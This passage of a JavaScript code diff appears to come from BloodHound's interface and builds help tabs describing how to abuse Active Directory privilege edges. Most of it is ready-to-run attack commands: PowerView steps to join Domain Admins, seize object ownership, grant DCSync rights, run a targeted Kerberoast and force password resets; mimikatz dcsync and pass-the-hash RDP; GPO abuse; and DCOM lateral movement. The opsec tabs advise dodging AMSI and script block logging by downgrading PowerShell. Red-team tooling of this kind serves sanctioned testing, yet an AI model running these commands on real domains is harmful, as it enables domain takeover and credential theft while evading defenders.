+                There are at least two ways to execute this attack. The first and most obvious is by using the built-in net.exe binary in Windows (e.g.: net group "Domain Admins" harmj0y /add /domain). See the opsec considerations tab for why this may be a bad idea. The second, and highly recommended method, is by using the Add-DomainGroupMember function in PowerView. This function is superior to using the net.exe binary in several ways. For instance, you can supply alternate credentials, instead of needing to run a process as or logon as the user with the AddMember privilege. Additionally,  you have much safer execution options than you do with spawning net.exe (see the opsec tab).
+
+                To abuse this privilege with PowerView's Add-DomainGroupMember, first import PowerView into your agent session or into a PowerShell instance at the console. You may need to authenticate to the Domain Controller as ${sourceType === "User" ? `${sourceName} if you are not running a process as that user` : `a member of ${sourceName} if you are not running a process as a member`}. To do this in conjunction with Add-DomainGroupMember, first create a PSCredential object (these examples comes from the PowerView help documentation):
+
+                <code>$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+                $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)</code>
+
+                Then, use Add-DomainGroupMember, optionally specifying $Cred if you are not already running a process as ${sourceName}:
+
+                <code>Add-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y' -Credential $Cred</code>
+
+                Finally, verify that the user was successfully added to the group with PowerView's Get-DomainGroupMember:
+
+                <code>Get-DomainGroupMember -Identity 'Domain Admins'</code>
+
+                Cleanup for this can be done using Remove-DomainObjectAcl
+                
+                <code>Remove-DomainObjectAcl - Credential $cred -TargetIdentity "Domain Admins" -Rights WriteMembers</code>
+                
+                Cleanup for the owner can be done by using Set-DomainObjectOwner once again`;
+            } else if (targetType === "User") {
+                text = `To change the ownership of the object, you may use the Set-DomainObjectOwner function in PowerView.
+
+                You may need to authenticate to the Domain Controller as ${sourceType === "User" ? `${sourceName} if you are not running a process as that user` : `a member of ${sourceName} if you are not running a process as a member`}. To do this in conjunction with Set-DomainObjectOwner, first create a PSCredential object (these examples comes from the PowerView help documentation):
+
+                <code>$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+                $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)</code>
+
+                Then, use Set-DomainObjectOwner, optionally specifying $Cred if you are not already running a process as ${sourceName}:
+                
+                <code>Set-DomainObjectOwner -Credential $Cred -TargetIdentity dfm -OwnerIdentity harmj0y</code>
+
+                To abuse ownership of a user object, you may grant yourself the GenericAll privilege. This can be accomplished using the Add-DomainObjectAcl function in PowerView.
+                
+                You may need to authenticate to the Domain Controller as ${sourceType === "User" ? `${sourceName} if you are not running a process as that user` : `a member of ${sourceName} if you are not running a process as a member`}. To do this in conjunction with Add-DomainObjectAcl, first create a PSCredential object (these examples comes from the PowerView help documentation):
+
+                <code>$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+                $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)</code>
+                
+                Then, use Add-DomainObjectAcl, optionally specifying $Cred if you are not already running a process as ${sourceName}:
+                
+                <code>Add-DomainObjectAcl -Credential $Cred -TargetIdentity harmj0y -Rights All</code>
+                
+                <h4> Targeted Kerberoast </h4>
+                A targeted kerberoast attack can be performed using PowerView’s Set-DomainObject along with Get-DomainSPNTicket.
+
+                You may need to authenticate to the Domain Controller as ${sourceType === "User" ? `${sourceName} if you are not running a process as that user` : `a member of ${sourceName} if you are not running a process as a member`}. To do this in conjunction with Set-DomainObject, first create a PSCredential object (these examples comes from the PowerView help documentation):
+
+                <code>$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+                $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)</code>
+
+                Then, use Set-DomainObject, optionally specifying $Cred if you are not already running a process as ${sourceName}:
+
+                <code>Set-DomainObject -Credential $Cred -Identity harmj0y -SET @{serviceprincipalname='nonexistent/BLAHBLAH'}</code>
+
+                After running this, you can use Get-DomainSPNTicket as follows:
+                    
+                <code>Get-DomainSPNTicket -Credential $Cred harmj0y | fl</code>
+
+                The recovered hash can be cracked offline using the tool of your choice. Cleanup of the ServicePrincipalName can be done with the Set-DomainObject command:
+
+                <code>Set-DomainObject -Credential $Cred -Identity harmj0y -Clear serviceprincipalname</code>
+
+                <h4> Force Change Password </h4>
+                There are at least two ways to execute this attack. The first and most obvious is by using the built-in net.exe binary in Windows (e.g.: net user dfm.a Password123! /domain). See the opsec considerations tab for why this may be a bad idea. The second, and highly recommended method, is by using the Set-DomainUserPassword function in PowerView. This function is superior to using the net.exe binary in several ways. For instance, you can supply alternate credentials, instead of needing to run a process as or logon as the user with the ForceChangePassword privilege. Additionally, you have much safer execution options than you do with spawning net.exe (see the opsec tab).
+
+                To abuse this privilege with PowerView's Set-DomainUserPassword, first import PowerView into your agent session or into a PowerShell instance at the console. You may need to authenticate to the Domain Controller as ${sourceType === "User" ? `${sourceName} if you are not running a process as that user` : `a member of ${sourceName} if you are not running a process as a member`}. To do this in conjunction with Set-DomainUserPassword, first create a PSCredential object (these examples comes from the PowerView help documentation):
+
+                <code>$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+                $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)</code>
+
+                Then create a secure string object for the password you want to set on the target user:
+
+                <code>$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force</code>
+
+                Finally, use Set-DomainUserPassword, optionally specifying $Cred if you are not already running a process as ${sourceName}:
+
+                <code>Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword -Credential $Cred</code>
+
+                Now that you know the target user's plain text password, you can either start a new agent as that user, or use that user's credentials in conjunction with PowerView's ACL abuse functions, or perhaps even RDP to a system the target user has access to. For more ideas and information, see the references tab.
+                
+                Cleanup of the added ACL can be performed with Remove-DomainObjectAcl:
+                
+                <code>Remove-DomainObjectAcl -Credential $Cred -TargetIdentity harmj0y -Rights All</code>
+                
+                Cleanup for the owner can be done by using Set-DomainObjectOwner once again`;
+            } else if (targetType === "Computer") {
+                text = `To change the ownership of the object, you may use the Set-DomainObjectOwner function in PowerView.
+
+                You may need to authenticate to the Domain Controller as ${sourceType === "User" ? `${sourceName} if you are not running a process as that user` : `a member of ${sourceName} if you are not running a process as a member`}. To do this in conjunction with Set-DomainObjectOwner, first create a PSCredential object (these examples comes from the PowerView help documentation):
+
+                <code>$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+                $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)</code>
+
+                Then, use Set-DomainObjectOwner, optionally specifying $Cred if you are not already running a process as ${sourceName}:
+                
+                <code>Set-DomainObjectOwner -Credential $Cred -TargetIdentity windows1 -OwnerIdentity harmj0y</code>
+                
+                To abuse ownership of a computer object, you may grant yourself the GenericAll privilege.
+                
+                You may need to authenticate to the Domain Controller as ${sourceType === "User" ? `${sourceName} if you are not running a process as that user` : `a member of ${sourceName} if you are not running a process as a member`}. To do this in conjunction with Add-DomainObjectAcl, first create a PSCredential object (these examples comes from the PowerView help documentation):
+
+                <code>$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+                $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)</code>
+                
+                Then, use Add-DomainObjectAcl, optionally specifying $Cred if you are not already running a process as ${sourceName}:
+                
+                <code>Add-DomainObjectAcl -Credential $Cred -TargetIdentity windows1 -Rights All</code>
+                
+                Once you have granted yourself this privilege, you may read the ms-Ads-AdmPwd attribute on the computer object in LDAP which contains the local administrator password.
+                
+                Cleanup can be done using the Remove-DomainObjectAcl function:
+
+                <code>Remove-DomainObjectAcl -Credential $Cred -TargetIdentity windows1 -Rights All</code>
+                
+                Cleanup for the owner can be done by using Set-DomainObjectOwner once again`;
+            } else if (targetType === "Domain") {
+                text = `To change the ownership of the object, you may use the Set-DomainObjectOwner function in PowerView.
+
+                You may need to authenticate to the Domain Controller as ${sourceType === "User" ? `${sourceName} if you are not running a process as that user` : `a member of ${sourceName} if you are not running a process as a member`}. To do this in conjunction with Set-DomainObjectOwner, first create a PSCredential object (these examples comes from the PowerView help documentation):
+
+                <code>$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+                $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)</code>
+
+                Then, use Set-DomainObjectOwner, optionally specifying $Cred if you are not already running a process as ${sourceName}:
+                
+                <code>Set-DomainObjectOwner -Credential $Cred -TargetIdentity testlab.local -OwnerIdentity harmj0y</code>
+                
+                To abuse ownership of a domain object, you may grant yourself the DcSync privileges.
+                
+                You may need to authenticate to the Domain Controller as ${sourceType === "User" ? `${sourceName} if you are not running a process as that user` : `a member of ${sourceName} if you are not running a process as a member`}. To do this in conjunction with Add-DomainObjectAcl, first create a PSCredential object (these examples comes from the PowerView help documentation):
+
+                <code>$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+                $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)</code>
+                
+                Then, use Add-DomainObjectAcl, optionally specifying $Cred if you are not already running a process as ${sourceName}:
+                
+                <code>Add-DomainObjectAcl -Credential $Cred -TargetIdentity testlab.local -Rights DCSync</code>
+                
+                Once you have granted yourself this privilege, you may use the mimikatz dcsync function to dcsync the password of arbitrary principals on the domain
+
+                <code>sekurlsa::dcsync /domain:testlab.local /user:Administrator</code>
+                
+                Cleanup can be done using the Remove-DomainObjectAcl function:
+                <code>Remove-DomainObjectAcl -Credential $Cred -TargetIdentity testlab.local -Rights DCSync</code>
+                
+                Cleanup for the owner can be done by using Set-DomainObjectOwner once again`;
+            } else if (targetType === "GPO") {
+                text = `To change the ownership of the object, you may use the Set-DomainObjectOwner function in PowerView.
+
+                You may need to authenticate to the Domain Controller as ${sourceType === "User" ? `${sourceName} if you are not running a process as that user` : `a member of ${sourceName} if you are not running a process as a member`}. To do this in conjunction with Set-DomainObjectOwner, first create a PSCredential object (these examples comes from the PowerView help documentation):
+
+                <code>$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+                $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)</code>
+
+                Then, use Set-DomainObjectOwner, optionally specifying $Cred if you are not already running a process as ${sourceName}:
+                
+                <code>Set-DomainObjectOwner -Credential $Cred -TargetIdentity TestGPO -OwnerIdentity harmj0y</code>
+                
+                To abuse ownership of a domain object, you may grant yourself the DcSync privileges.
+                
+                You may need to authenticate to the Domain Controller as ${sourceType === "User" ? `${sourceName} if you are not running a process as that user` : `a member of ${sourceName} if you are not running a process as a member`}. To do this in conjunction with Add-DomainObjectAcl, first create a PSCredential object (these examples comes from the PowerView help documentation):
+
+                <code>$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+                $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)</code>
+                
+                Then, use Add-DomainObjectAcl, optionally specifying $Cred if you are not already running a process as ${sourceName}:
+                
+                <code>Add-DomainObjectAcl -Credential $Cred -TargetIdentity TestGPO -Rights All</code>
+                
+                With full control of a GPO, you may make modifications to that GPO which will then apply to the users and computers affected by the GPO. Select the target object you wish to push an evil policy down to, then use the gpedit GUI to modify the GPO, using an evil policy that allows item-level targeting, such as a new immediate scheduled task. Then wait at least 2 hours for the group policy client to pick up and execute the new evil policy. See the references tab for a more detailed write up on this abuse
+                
+                Cleanup can be done using the Remove-DomainObjectAcl function:
+                <code>Remove-DomainObjectAcl -Credential $Cred -TargetIdentity TestGPO -Rights All</code>
+                
+                Cleanup for the owner can be done by using Set-DomainObjectOwner once again`;
+            }
+            formatted = text;
+        } else if (edge.label === "CanRDP") {
+            let text = `Abuse of this privilege will depend heavily on the type of access you have. 
+            
+            <h4>PlainText Credentials with Interactive Access</h4>
+            With plaintext credentials, the easiest way to exploit this privilege is using the built in Windows Remote Desktop Client (mstsc.exe). Open mstsc.exe and input the computer ${targetName}. When prompted for credentials, input the credentials for ${sourceType === "Group" ? `a member of ${sourceName}` : `${sourceName}`} to initiate the remote desktop connection.
+
+            <h4>Password Hash with Interactive Access</h4>
+            With a password hash, exploitation of this privilege will require local administrator privileges on a system, and the remote server must allow Restricted Admin Mode. 
+
+            First, inject the NTLM credential for the user you're abusing into memory using mimikatz:
+            
+            <code>sekurlsa::pth /user:dfm /domain:testlab.local /ntlm:&lt;ntlm hash&gt; /run:"mstsc.exe /restrictedadmin"</code>
+
+            This will open a new RDP window. Input the computer ${targetName} to initiate the remote desktop connection. If the target server does not support Restricted Admin Mode, the session will fail.
+
+            <h4>Plaintext Credentials without Interactive Access</h4>
+            This method will require some method of proxying traffic into the network, such as the socks command in cobaltstrike, or direct internet connection to the target network, as well as the xfreerdp (suggested because of support of Network Level Authentication (NLA)) tool, which can be installed from the freerdp-x11 package. If using socks, ensure that proxychains is configured properly. Initiate the remote desktop connection with the following command:
+
+            <code>(proxychains) xfreerdp /u:dfm /d:testlab.local /v:&lt;computer ip&gt;</code>
+
+            xfreerdp will prompt you for a password, and then initiate the remote desktop connection.
+
+            <h4>Password Hash without Interactive Access</h4>
+            This method will require some method of proxying traffic into the network, such as the socks command in cobaltstrike, or direct internet connection to the target network, as well as the xfreerdp (suggested because of support of Network Level Authentication (NLA)) tool, which can be installed from the freerdp-x11 package. Additionally, the target computer must allow Restricted Admin Mode. If using socks, ensure that proxychains is configured properly. Initiate the remote desktop connection with the following command:
+
+            <code>(proxychains) xfreerdp /pth:&lt;ntlm hash&gt; /u:dfm /d:testlab.local /v:&lt;computer ip&gt;</code>
+
+            This will initiate the remote desktop connection, and will fail if Restricted Admin Mode is not enabled.`;
+            formatted = text;
+        } else if (edge.label === "ExecuteDCOM") {
+            let text = `The PowerShell script Invoke-DCOM implements lateral movement using a variety of different COM objects (ProgIds: MMC20.Application, ShellWindows, ShellBrowserWindow, ShellBrowserWindow, and ExcelDDE).  LethalHTA implements lateral movement using the HTA COM object (ProgId: htafile).  
+
+            One can manually instantiate and manipulate COM objects on a remote machine using the following PowerShell code.  If specifying a COM object by its CLSID:
+            
+            $ComputerName = ${targetName}  # Remote computer
+            $clsid = “{fbae34e8-bf95-4da8-bf98-6c6e580aa348}”      # GUID of the COM object
+            $Type = [Type]::GetTypeFromCLSID($clsid, $ComputerName)
+            $ComObject = [Activator]::CreateInstance($Type)
+            
+            If specifying a COM object by its ProgID:
+            
+            $ComputerName = ${targetName}  # Remote computer
+            $ProgId = “<NAME>”      # GUID of the COM object
+            $Type = [Type]::GetTypeFromProgID($ProgId, $ComputerName)
+            $ComObject = [Activator]::CreateInstance($Type)
+            `;
+            formatted = text.format(sourceType, sourceName, targetName);
+        } else if (edge.label === "AllowedToDelegate") {
+            let text = `Abusing this privilege will require either using Benjamin Delpy’s Kekeo project on a compromised host, or proxying in traffic generated from the Impacket library. See the references tab for more detailed information on exploiting this privilege.`;
+            formatted = text.format(sourceType, sourceName, targetName);
+        } else if (edge.label === "GetChanges") {
+            let text = `With both GetChanges and GetChangesAll privileges in BloodHound, you may perform a dcsync attack to get the password hash of an arbitrary principal using mimikatz:
+            
+            <code>sekurlsa::dcsync /domain:testlab.local /user:Administrator</code>
+            
+            You can also perform the more complicated ExtraSids attack to hop domain trusts. For information on this see the blod post by harmj0y in the references tab.`;
+            formatted = text;
+        } else if (edge.label === "GetChangesAll") {
+            let text = `With both GetChanges and GetChangesAll privileges in BloodHound, you may perform a dcsync attack to get the password hash of an arbitrary principal using mimikatz:
+            
+            <code>sekurlsa::dcsync /domain:testlab.local /user:Administrator</code>
+            
+            You can also perform the more complicated ExtraSids attack to hop domain trusts. For information on this see the blod post by harmj0y in the references tab.`;
+            formatted = text;
+        } else if (edge.label === "ReadLAPSPassword") {
+            let text = `To abuse this privilege with PowerView's Get-DomainObject, first import PowerView into your agent session or into a PowerShell instance at the console. You may need to authenticate to the Domain Controller as ${sourceType === "User" ? `${sourceName} if you are not running a process as that user` : `a member of ${sourceName} if you are not running a process as a member`}. To do this in conjunction with Get-DomainObject, first create a PSCredential object (these examples comes from the PowerView help documentation):
+
+            <code>$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+            $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)</code>
+
+            Then, use Get-DomainObject, optionally specifying $Cred if you are not already running a process as ${sourceName}:
+
+            Get-DomainObject windows1 -Credential $Cred -Properties "ms-mcs-AdmPwd",name`;
+            formatted = text;
+        } else if (edge.label === "Contains") {
+            formatted = `There is no abuse info related to this edge.`;
+        } else if (edge.label === "GpLink") {
+            formatted = `There is no abuse info related to this edge.`;
+        }
+
+        this.setState({ abuseTabContent: { __html: formatted } })
+    }
+
+    createOpsecTab(edge, source, target) {
+        let sourceType = source.type;
+        let sourceName = source.label;
+        let targetType = target.type;
+        let targetName = target.label;
+        let formatted;
+        if (edge.label === "AdminTo") {
+            let text = `There are several forensic artifacts generated by the techniques described above. For instance, lateral movement via PsExec will generate 4697 events on the target system. If the target organization is collecting and analyzing those events, they may very easily detect lateral movement via PsExec. 
+            
+            Additionally, an EDR product may detect your attempt to inject into lsass and alert a SOC analyst. There are many more opsec considerations to keep in mind when abusing administrator privileges. For more information, see the References tab.`;
+            formatted = text;
+        } else if (edge.label === "MemberOf") {
+            let text = `No opsec considerations apply to this edge.`;
+            formatted = text;
+        } else if (edge.label === "HasSession") {
+            let text = `An EDR product may detect your attempt to inject into lsass and alert a SOC analyst. There are many more opsec considerations to keep in mind when stealing credentials or tokens. For more information, see the References tab.`;
+            formatted = text;
+        } else if (edge.label === "AllExtendedRights") {
+            let text = `When using the PowerView functions, keep in mind that PowerShell v5 introduced several security mechanisms that make it much easier for defenders to see what's going on with PowerShell in their network, such as script block logging and AMSI. You can bypass those security mechanisms by downgrading to PowerShell v2, which all PowerView functions support.`;
+            formatted = text;
+        } else if (edge.label === "AddMember") {
+            let text = `Executing this abuse with the net binary will require command line execution. If your target organization has command line logging enabled, this is a detection opportunity for their analysts. 
+            
+            Regardless of what execution procedure you use, this action will generate a 4728 event on the domain controller that handled the request. This event may be centrally collected and analyzed by security analysts, especially for groups that are obviously very high privilege groups (i.e.: Domain Admins). Also be mindful that Powershell 5 introduced several key security features such as script block logging and AMSI that provide security analysts another detection opportunity. 
+            
+            You may be able to completely evade those features by downgrading to PowerShell v2.`;
+            formatted = text;
+        } else if (edge.label === "ForceChangePassword") {
+            let text = `Executing this abuse with the net binary will necessarily require command line execution. If your target organization has command line logging enabled, this is a detection opportunity for their analysts. 
+            
+            Regardless of what execution procedure you use, this action will generate a 4724 event on the domain controller that handled the request. This event may be centrally collected and analyzed by security analysts, especially for users that are obviously very high privilege groups (i.e.: Domain Admin users). Also be mindful that PowerShell v5 introduced several key security features such as script block logging and AMSI that provide security analysts another detection opportunity. You may be able to completely evade those features by downgrading to PowerShell v2. 
+            
+            Finally, by changing a service account password, you may cause that service to stop functioning properly. This can be bad not only from an opsec perspective, but also a client management perspective. Be careful!`;
+            formatted = text;
+        } else if (edge.label === "GenericAll") {
+            let text = `This depends on the target object and how to take advantage of this privilege. Opsec considerations for each abuse primitive are documented on the specific abuse edges and on the BloodHound wiki.`;
+            formatted = text;
+        } else if (edge.label === "GenericWrite") {
+            let text = `This depends on the target object and how to take advantage of this privilege. Opsec considerations for each abuse primitive are documented on the specific abuse edges and on the BloodHound wiki.`;
+            formatted = text;
+        } else if (edge.label === "Owns") {
+            let text = `When using the PowerView functions, keep in mind that PowerShell v5 introduced several security mechanisms that make it much easier for defenders to see what's going on with PowerShell in their network, such as script block logging and AMSI. You can bypass those security mechanisms by downgrading to PowerShell v2, which all PowerView functions support.
+
+            Modifying permissions on an object will generate 4670 and 4662 events on the domain controller that handled the request.
+            
+            Additional opsec considerations depend on the target object and how to take advantage of this privilege. Opsec considerations for each abuse primitive are documented on the specific abuse edges and on the BloodHound wiki.`;
+            formatted = text;
+        } else if (edge.label === "WriteDacl") {
+            let text = `When using the PowerView functions, keep in mind that PowerShell v5 introduced several security mechanisms that make it much easier for defenders to see what's going on with PowerShell in their network, such as script block logging and AMSI. You can bypass those security mechanisms by downgrading to PowerShell v2, which all PowerView functions support.
+
+            Modifying permissions on an object will generate 4670 and 4662 events on the domain controller that handled the request.
+            
+            Additional opsec considerations depend on the target object and how to take advantage of this privilege. Opsec considerations for each abuse primitive are documented on the specific abuse edges and on the BloodHound wiki.`;
+            formatted = text;
+        } else if (edge.label === "WriteOwner") {
+            let text = `This depends on the target object and how to take advantage of this privilege. Opsec considerations for each abuse primitive are documented on the specific abuse edges and on the BloodHound wiki.`;
+            formatted = text;
+        } else if (edge.label === "CanRDP") {
+            let text = `If the target computer is a workstation and a user is currently logged on, one of two things will happen. If the user you are abusing is the same user as the one logged on, you will effectively take over their session and kick the logged on user off, resulting in a message to the user. If the users are different, you will be prompted to kick the currently logged on user off the system and log on. If the target computer is a server, you will be able to initiate the connection without issue provided the user you are abusing is not currently logged in.
+            
+            Remote desktop will create Logon and Logoff events with the access type RemoteInteractive.`;
+            formatted = text;
+        } else if (edge.label === "ExecuteDCOM") {
+            let text = `The artifacts generated when using DCOM vary depending on the specific COM object used.
+
+            DCOM is built on top of the TCP/IP RPC protocol (TCP ports 135 + high ephemeral ports) and may leverage several different RPC interface UUIDs(outlined here). In order to use DCOM, one must be authenticated.  Consequently, logon events and authentication-specific logs(Kerberos, NTLM, etc.) will be generated when using DCOM.  
+            
+            Processes may be spawned as the user authenticating to the remote system, as a user already logged into the system, or may take advantage of an already spawned process.  
+            
+            Many DCOM servers spawn under the process “svchost.exe -k DcomLaunch” and typically have a command line containing the string “ -Embedding” or are executing inside of the DLL hosting process “DllHost.exe /Processid:{<AppId>}“ (where AppId is the AppId the COM object is registered to use).  Certain COM services are implemented as service executables; consequently, service-related event logs may be generated.`;
+            formatted = text;
+        } else if (edge.label === "AllowedToDelegate") {
+            let text = `As mentioned in the abuse info, in order to currently abuse this primitive either the Kekeo binary will need to be dropped to disk on the target or traffic from Impacket will need to be proxied in. See the References for more information.`;
+            formatted = text;
+        } else if (edge.label === "GetChanges") {
+            let text = `For detailed information on detection of dcsync as well as opsec considerations, see the adsecurity post in the references tab.`;
+            formatted = text;
+        } else if (edge.label === "GetChangesAll") {
+            let text = `For detailed information on detection of dcsync as well as opsec considerations, see the adsecurity post in the references tab.`;
+            formatted = text;
+        } else if (edge.label === "ReadLAPSPassword") {
+            let text = `Reading properties from LDAP is an extremely low risk operation.`;
+            formatted = text;
+        } else if (edge.label === "Contains") {
+            formatted = `There are no opsec considerations related to this edge.`;
+        } else if (edge.label === "GpLink") {
+            formatted = `There are no opsec considerations related to this edge.`;
+        }
+
+        this.setState({ opsecTabContent: { __html: formatted } })
+    }
+
+    createReferencesTab(edge, source, target) {
+        let sourceType = source.type;
+        let sourceName = source.label;
+        let targetType = target.type;
+        let targetName = target.label;
+        let formatted;
+        if (edge.label === "AdminTo") {
+            let text = `<h4>Lateral movement</h4>
+            <a href="https://attack.mitre.org/wiki/Lateral_Movement">https://attack.mitre.org/wiki/Lateral_Movement</a>
+
+            <h4>Gathering Credentials</h4>
+            <a href="http://blog.gentilkiwi.com/mimikatz">http://blog.gentilkiwi.com/mimikatz</a>
+            <a href="https://github.com/gentilkiwi/mimikatz">https://github.com/gentilkiwi/mimikatz</a>
+            <a href="https://adsecurity.org/?page_id=1821">https://adsecurity.org/?page_id=1821</a>
+            <a href="https://attack.mitre.org/wiki/Credential_Access">https://attack.mitre.org/wiki/Credential_Access</a>
+            
+            <h4>Token Impersonation</h4>
+            <a href="https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-security-implications-of-windows-access-tokens-2008-04-14.pdf">https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-security-implications-of-windows-access-tokens-2008-04-14.pdf</>
+            <a href="https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-TokenManipulation.ps1">https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-TokenManipulation.ps1</a>
+            <a href="https://attack.mitre.org/wiki/Technique/T1134">https://attack.mitre.org/wiki/Technique/T1134</a>
+            
+            <h4>Disabling host-based security controls</h4>
+            <a href="https://blog.netspi.com/10-evil-user-tricks-for-bypassing-anti-virus/">https://blog.netspi.com/10-evil-user-tricks-for-bypassing-anti-virus/</a>
+            <a href="https://www.blackhillsinfosec.com/bypass-anti-virus-run-mimikatz/">https://www.blackhillsinfosec.com/bypass-anti-virus-run-mimikatz/</a>
+            
+            <h4>Opsec Considerations</h4>
+            <a href="https://blog.cobaltstrike.com/2017/06/23/opsec-considerations-for-beacon-commands/">https://blog.cobaltstrike.com/2017/06/23/opsec-considerations-for-beacon-commands/</a>`;
+            formatted = text;
+        } else if (edge.label === "MemberOf") {
+            let text = `<a href="https://adsecurity.org/?tag=ad-delegation">https://adsecurity.org/?tag=ad-delegation</a>
+            <a href="https://www.itprotoday.com/management-mobility/view-or-remove-active-directory-delegated-permissions ">https://www.itprotoday.com/management-mobility/view-or-remove-active-directory-delegated-permissions </a>`;
+            formatted = text;
+        } else if (edge.label === "HasSession") {
+            let text = `<h4>Gathering Credentials</h4>
+            <a href="http://blog.gentilkiwi.com/mimikatz">http://blog.gentilkiwi.com/mimikatz</a>
+            <a href="https://github.com/gentilkiwi/mimikatz">https://github.com/gentilkiwi/mimikatz</a>
+            <a href="https://adsecurity.org/?page_id=1821">https://adsecurity.org/?page_id=1821</a>
+            <a href="https://attack.mitre.org/wiki/Credential_Access">https://attack.mitre.org/wiki/Credential_Access</a>
+            
+            <h4>Token Impersonation</h4>
+            <a href="https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-security-implications-of-windows-access-tokens-2008-04-14.pdf">https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-security-implications-of-windows-access-tokens-2008-04-14.pdf</>
+            <a href="https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-TokenManipulation.ps1">https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-TokenManipulation.ps1</a>
+            <a href="https://attack.mitre.org/wiki/Technique/T1134">https://attack.mitre.org/wiki/Technique/T1134</a>`;
+            formatted = text;
+        } else if (edge.label === "AllExtendedRights") {
+            let text = `<a href="https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1">https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1</a>
+            <a href="https://www.youtube.com/watch?v=z8thoG7gPd0">https://www.youtube.com/watch?v=z8thoG7gPd0</a>`;
+            formatted = text;
+        } else if (edge.label === "AddMember") {
+            let text = `<a href="https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1">https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1</a>
+            <a href="https://www.youtube.com/watch?v=z8thoG7gPd0">https://www.youtube.com/watch?v=z8thoG7gPd0</a>
+            <a href="https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4728">https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4728</a>`;
+            formatted = text;
+        } else if (edge.label === "ForceChangePassword") {
+            let text = `<a href="https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1">https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1</a>
+            <a href="https://www.youtube.com/watch?v=z8thoG7gPd0">https://www.youtube.com/watch?v=z8thoG7gPd0</>
+            <a href="https://www.sixdub.net/?p=579">https://www.sixdub.net/?p=579</a>
+            <a href="https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4724">https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4724</a>`;
+            formatted = text;
+        } else if (edge.label === "GenericAll") {
+            let text = `<a href="https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1">https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1</a>
+            <a href="https://www.youtube.com/watch?v=z8thoG7gPd0">https://www.youtube.com/watch?v=z8thoG7gPd0</a>
+            <a href="https://adsecurity.org/?p=1729">https://adsecurity.org/?p=1729</a>
+            <a href="http://www.harmj0y.net/blog/activedirectory/targeted-kerberoasting/">http://www.harmj0y.net/blog/activedirectory/targeted-kerberoasting/</a>
+            <a href="https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e">https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e</a>`;
+            formatted = text;
+        } else if (edge.label === "GenericWrite") {
+            let text = `<a href="https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1">https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1</a>
+            <a href="https://www.youtube.com/watch?v=z8thoG7gPd0">https://www.youtube.com/watch?v=z8thoG7gPd0</a>
+            <a href="http://www.harmj0y.net/blog/activedirectory/targeted-kerberoasting/">http://www.harmj0y.net/blog/activedirectory/targeted-kerberoasting/</a>`;
+            formatted = text;
+        } else if (edge.label === "Owns") {
+            let text = `<a href="https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1">https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1</a>
+            <a href="https://www.youtube.com/watch?v=z8thoG7gPd0">https://www.youtube.com/watch?v=z8thoG7gPd0</a>
+            <a href="http://www.selfadsi.org/deep-inside/ad-security-descriptors.htm">http://www.selfadsi.org/deep-inside/ad-security-descriptors.htm</a>`;
+            formatted = text;
+        } else if (edge.label === "WriteDacl") {
